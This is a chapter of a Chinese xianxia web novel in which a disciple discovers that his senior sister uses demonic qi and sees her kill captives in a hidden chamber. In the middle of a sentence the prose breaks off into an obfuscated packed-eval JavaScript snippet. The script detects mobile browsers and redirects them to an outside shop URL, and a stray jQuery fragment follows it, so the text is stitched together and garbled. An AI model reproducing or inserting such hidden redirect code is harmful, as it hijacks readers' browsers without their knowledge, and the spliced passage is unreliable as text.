日光移在少年脸上,江砚辞睫毛轻颤,只觉莫名疲惫不想起床。
忽然,他意识到了什么,猛地坐起来。
大开的窗户、翻倒的桌椅、掉在不远处的剑、谈谈的魔气。
昨夜发生的一切慢慢回笼,眼前的一切都在提醒他,那不是梦。
“师姐!”
他立马下榻,鞋都没来得及穿就跑出了门。
“师姐!师姐!”
他什么都顾不得了,一路跑出去,有下了早课的弟子看到他,刚想和他搭话,一个字没喊出来就被他急急忙忙地从旁边超过。
弟子挠了挠头:“小师兄今日有急事么?”
“可能吧,我们这底层小人物也不懂。”
江砚辞直冲主峰而去,刚到师姐院子旁就被人拉着后领子,被迫停下了脚步。
“这么急干什么去?”
这个声音是……
“师姐!”
他眼泪刷一下就流下来了,语气也跟着哽咽:“师姐、我以为你、你……”
那个字烫嘴似的,在嘴里转了几圈也没能说出来。
眼泪大颗大颗落下来,其中不止是对师姐还活着的庆兴,还有对昨夜发生的事的后怕。
直到现在,他才注意到了自己的情绪。
看他这个样子,陈舒朝突然觉得自己罪大恶极,她眼眸转了转,最终叹了一口气,拿出帕子给他擦了擦眼泪。
“以为我死了?”
被她这样轻松地说出,少年刚止住的眼泪又涌出来了。
“你哭什么?”陈舒朝面无表情地说出让人毛骨悚然的话,“没想过那人就是我么?”
时间仿佛静止了,江砚辞吸了吸鼻子,不太相信自己的耳朵:“什么?”
陈舒朝极有耐心地减慢语速又说了一遍:“我说,你没想过,昨晚那个人就是我么,你见过那人的脸了对吧?”
江砚辞退后一步,躲过了师姐给他擦眼泪的手帕,他表情僵硬:“师姐你、在说什么啊?她怎么可能是你,我、我修为这么低微,随便来个人给我施个障眼法就能骗过我……怎么会……”
说到最后他也不知道说什么了。
为什么师姐昨晚没能救他,为什么那人和师姐长着同一张脸,为什么他没有死。
若师姐说的是真的,这些问题就都能解释得清了。
可为什么……
陈舒朝收回帕子:“不相信么?”
她摇了摇头,手里聚起一团黑气:“那没办法了,这样你总相信了吧。”
江砚辞迷茫抬头,在看到师姐聚出的,飘在他眼前的魔气后,瞪大了眼睛。
他该害怕的,这可是魔气,是早就在百年前消失的魔气。
“跟我来吧。”
陈舒朝召出剑,微微侧头看他:“怎么,不敢么?”
江砚辞没说话,他走过去,踏上剑,站在师姐后面,手掌蜷了蜷,最终还是抓住了她的衣角。
陈舒朝内心一动,催动了剑。
抓住她的那只手,在颤抖。
他现在心里很乱,完全不知道该怎么办。
师姐带他去的地方是惊雷峰,穿过雷区,进入山洞。
陈舒朝收起剑,带他往里走。
这里江砚辞来过两次了,两次都没能发现什么,虽然凭他的修为本来也什么都发现不了。
他忽地自暴自弃起来,来这里这么长时间,他什么都做不了。
并且现在。
他瞄了眼师姐的背影,他竟然一点都不怕,他竟然觉得师姐不会伤害他。
明明相处了没多长时间。
陈舒朝没管身后的人在想什么,走到山洞的最深处,运起魔气。
石墙升起,里面全然是另一幅景象,一幅充满了生活气息的景象。
这里面的所有东西都被裹上了一层毛绒绒的毛毯,包括地面和各种小角落,甚至单独开辟了一片空间作为厨房。
他没穿鞋,所以踏上的第一步便切身感受到了变化。
陈舒朝看到这里也愣住了,她视线落在江砚辞身上一瞬,又很快移开。
这孩子……
这到底是以江砚辞为基础设下的幻境,里面有相当一部分是根据他的潜意识来的,她能做的很少。
就比如这里。
她只是给他下了个山洞内别有洞天的暗示,没想到他想象出的场景是这样的。
她还真的有点想念外面毛绒绒的榻了。
“这是?”
陈舒朝把一根手指放在嘴边:“秘密基地。”
她移开榻,找到一块明显不同于其他地方的地毯。揭开地毯,里面赫然还有一个秘密通道。
陈舒朝打开地板,率先跳下去,跳下去之前,她好心提醒江砚辞:“记得屏息。”
要来了。
他知道,下面才是师姐真正要带他去的地方。
下面很暗,没有任何光源,他想用灵力照明,去发现此地诡谲,根本运转不了灵力。
直到此刻,他才开始害怕起来。
师姐不会要在这里杀了他把,可杀他用得着这么拐弯抹角么?
难道是为了掩人耳目?
他越想越觉得有可能,也越想越害怕。
双手止不住开始发抖。
这里回荡着脚步声,他想尝试着迈出一步,却发现腿也是软的。
他扶着墙,跟着脚步声往前走。
刚走出一步,忽地感觉绊倒了什么东西,整个人往前趴去,狠狠地摔到了地上。
地上有很多不知道是什么的小东西,硌着他的腰腹,还磕到了下巴。
疼得他直抽气。
“怎么了?”
师姐在不远处问。
“没,没事,摔了一跤而已。”
一句话说出口,他才发现自己已经怕到了声音颤抖、牙齿打颤的地步。
“听声音好像不太好哦,要我去扶你么?”
她的声音由远及近,江砚辞吓得语速飞快:“不、不用,我很好、很好,师姐你就在前面带路吧!”
陈舒朝一听就知道是怎么回事了,居然现在才开始害怕,比她想象中的坚持得要久些。
不过这才到哪,后面还有更可怕的呢。
陈舒朝唇角勾起一抹笑,真的不再管他,继续往前走。
江砚辞听到脚步声停下又远去,不由得松了一口气。他站起来,感觉手上黏黏的,放到鼻子下嗅,一股恶臭混着一点血腥味直冲天灵盖,让他差点吐出来!
他有点不敢想象绊倒自己的是什么东西,却控制不住去摩挲。
手一点一点摸索那物什的形状与材质,越摸越害怕,他几乎断定,那就是骨头!
他的下巴被硌出血了,腰腹也疼得走路都艰难,不用看就知道,肯定青紫一片。
江砚辞随意抹去下巴上的血,一瘸一拐地跟上师姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670628|188625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
走了没一会儿,恶臭忽地加重,前方的脚步声也没了。
他停下,只听得“噗噗噗”几声,烛火亮起。
江砚辞被刺得眯起眼睛,待适应了亮光,他看清周围的景象,几乎要尖叫起来!
克制不住地发抖,抖得他几次想要拔剑都拔不出来。
之前陈舒朝没仔细注意,有了烛火她才发现江砚辞的状况实在糟糕。
他脸色苍白,下巴的血一直在滴,衣服上全是黑色的污渍和红色的血块,手、腿都在发抖。
怕成这样。
也没什么吧,不过是几具尸体而已。虽然是难看了些,恶心了些。
哦,有的还有气儿,没死绝。
这孩子真是,胆子小成这样,还挺能想,自己把自己吓成这样。
眼尾都是红的。
多多少少有点无语。
真的是,她像是能干出这种事的人么?
陈舒朝仔细想想,在他眼中,昨晚一身红衣、魔气缠身,还差点杀了他的人……好像还真能干出这种事。
算了,既然他都这么想了,那还是配合他演下去吧。
“看到了么?”陈舒朝故作深沉,阴森森地开口,“这些人都是我杀的,现在相信了吧。”
他不愿相信,可眼前的事实不得不让他相信。
浑身都疼,鼻腔里全是难以言喻的臭味。
这世界是假的吧,他产生了这样的念头。
江砚辞听到了极其微弱的呼吸声,他眼睛一亮,跑上前,找到声音的源头,把手指放在那人的鼻下。
是很微弱很微弱的呼吸。
“他、他还活着!”
那人嘴唇翕动,仿佛要说什么,江砚辞立马把耳朵贴过去,下一刻,刺骨的疼痛传来。在喊声即将出嘴的刹那,他死死咬住了嘴唇不让自己发出声音。
陈舒朝快速逼近,黑气包裹住那人的头部,缓缓蠕动。
“啊啊啊啊——!”
那人发出刺破耳膜的惨叫,很快没了声响,脖子一歪,死了。
江砚辞也向下倒去,陈舒朝扶助他。
师姐的体温,是热的。栀子花香也令人很安心。
旁边的人见到如此场面,破口大骂:“你个魔物有什么资格处罚我们!手段如此残忍,早晚有一日会死在正道剑下!”
处罚?
江砚辞抓住了关键词。
这里面果然有误会。
“正道?”陈舒朝冷嗤一声,“你觉得你是正道么?”
“我、我,我当然……!”
话说到一半被陈舒朝打断:“这么不自信,看来是做了亏心事啊。既然不是正道,那就是魔道咯,既然是魔道,我处理自家人,和人家正道有什么关系?”
“邪门歪道,我说不过你!要杀要剐,悉听尊便!”
“行啊,满足你。”
在喊声响起之前,师姐捂住了他的耳朵。
于是,所有声音与气味都被隔绝在外,在满是尸体的房间里,他有了片刻安宁。
“走吧,我们上去。”
陈舒朝莫名心情很好,嘴角控制不住上扬,语气都是带笑的。
江砚辞也被感染,想绽出一个笑容,却不小心牵动不久前咬破的嘴唇,没忍住“嘶”了一声。
“忍着,等会给你疗伤。”
陈舒朝笑容绽放得更大了,这里面多多少少有幸灾乐祸的成分。